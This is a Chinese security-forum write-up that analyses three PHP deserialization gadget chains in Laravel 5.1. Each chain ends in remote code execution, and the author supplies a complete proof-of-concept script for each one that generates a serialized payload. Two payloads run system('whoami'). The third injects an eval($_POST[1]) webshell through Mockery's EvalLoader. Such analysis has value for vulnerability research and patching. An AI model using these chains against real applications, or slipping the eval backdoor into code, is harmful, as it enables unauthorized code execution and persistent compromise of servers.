最近在复现php反序列化漏洞,顺手挖了几条链子,希望师傅们多多点评,
0x00 准备
使用composer拉一个laravel5.1的环境
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
配置路由 控制等不在叙述
0x01 RCE1
先搜索__destruct
方法
在WindowsPipes
类中__destruct
方法可任意删除文件
这里调用到了$this->removeFiles()
跟进查看
遍历了$this->files
判断文件是否存在,然后删除文件。这里调用__toString
全局搜索__toString
在View
类中__toString
方法调用了$this->render()
跟进这个函数看看
发现调用了$this->renderContent()
跟进看看
这里调用了$this->factory->incrementRender()
可以调用任意类的__call
方法
全局搜索__call
方法
在ValidGenerator
类中__call
方法需要控制参数达到RCE的目的
$this->vaildator
可控,接下来我们只需要控制$res
即可
$res = call_user_func_array(array($this->generator, $name), $arguments);
调用方式为任意类的函数方法,$this->generator
可控,所以就代表了可以调用任意类的__call
方法,我们只需要找到一个__call
方法返回任何值即可。
在DefaultGenerator
类中__call
方法可以返回任意值,
接下来构造poc
<?php
namespace Faker;
class DefaultGenerator{
protected $default;
public function __construct(){
$this->default='whoami';
}
}
namespace Faker;
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct(){
$this->maxRetries=1;
$this->validator='system';
$this->generator=new DefaultGenerator;
}
}
namespace Illuminate\View;
use Faker\ValidGenerator;
class View{
protected $factory;
public function __construct(){
$this->factory=new ValidGenerator;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
成功RCE
0x02 RCE2
继续从__call
方法寻找
全局搜索__calll
在DatabaseManager
类中调用了$this->connection()
跟进$this->connecttion()
通过$this->parseConnectionName($name)
给$name
赋值,跟进
通过$this->getDefaultConnection()
给$name
赋值,跟进
直接返回了$this->app['config']['database.default'];
最后返回,
跟进endsWitch
传入的$name
并不在传入的['::read','::write']
中所以返回false
最终返回了[$name,null]
$name
最终被传入的$this->app['config']['database.default']
赋值
当$this->connections[$name]
不存在,执行$this->makeConnection($name)
方法,跟进
发现call_user_func
方法控制参数可达到RCE的目的,
第二个参数$config
,跟进$this->getConfig()
看看返回值是什么
通过app['config']['database.connections']
赋值给$connections
然后通过Arr::get($connections, $name)
赋值给$config
跟进Arr::get
传入的$key
为whoami
,所以直接返回了system
相当于$config=$this->app['config']['database.connections']['whoami']
第一个参数$this->extensions[name]
赋值call_user_func
<?php
namespace Illuminate\Database;
class DatabaseManager{
protected $extensions = array();
protected $app=array();
public function __construct(){
$this->extensions['whoami']='call_user_func';
$this->app['config']['database.connections']=['whoami'=>'system'];
$this->app['config']['database.default'] = 'whoami';
}
}
namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
protected $factory;
public function __construct(){
$this->factory=new DatabaseManager;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
成功RCE
0x03 RCE3
继续从__call
方法寻找
全局搜索__call
在Validator
类中__call
方法中满足$this->extensions[$rule]
存在则调用$this->callExtension
方法
跟进看一下
满足$callback
是字符串则调用$this->callClassBasedExtension()
,继续跟进$this->callClassBasedExtension()
这里
call_user_func_array([$this->container->make($class), $method], $parameters);
只要控制$this->container->make($class)
的返回值,就可以调用任意类的任意方法。
全局搜索一下危险函数,如eval
,system
,call_user_func
,shell_exec
等
运气比较好搜了一下eval
便出了
在EvalLoader
类中存在load
方法满足class_exists($definition->getClassName(),false)===false
则调用了eval
函数
跟进一下$definition->getCode()
看一下参数是否可控
直接返回了$this->code
参数便可控,
调用load
函数中,发现需要传参MockDefinition $definition
,上面调用__call
这一步就没有办法用了,因为没有传参。所以无法控制$parameters
。所以这里换到了ObjectStateToken
类中的__toString
函数可以控制传参。
成功调用到了EvalLoader
类中的load
函数
看一下class_exists
的定义
$definition->getClassName()
返回一个没有定义的类即可。跟进查看
返回了$this->config->getName()
让他去调用__call
方法返回一个任意值即可。
这里还利用DefaultGenerator
类中的__call
方法返回任意值,
接下来控制$definition->getCode()
,跟进查看一下
直接返回了$this->code
直接赋值即可。
构造poc
<?php
namespace Mockery\Loader;
class EvalLoader{}
namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator{
public $default;
public function __construct(){
$this->default=new EvalLoader;
}
}
namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator{
protected $extensions = [];
protected $container;
public function __construct(){
$this->extensions['y']='huahua@load';
$this->container=new DefaultGenerator;
}
}
namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition{
protected $config;
public function __construct(){
$this->config=new DefaultGenerator;
$this->config->default='huahua';
$this->code='<?php eval($_POST[1]);';
}
}
namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken{
private $util;
private $value;
public function __construct(){
$this->util=new Validator;
$this->value=new MockDefinition;
}
}
namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new ObjectStateToken());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
- 本文作者: 花北城
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1568
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!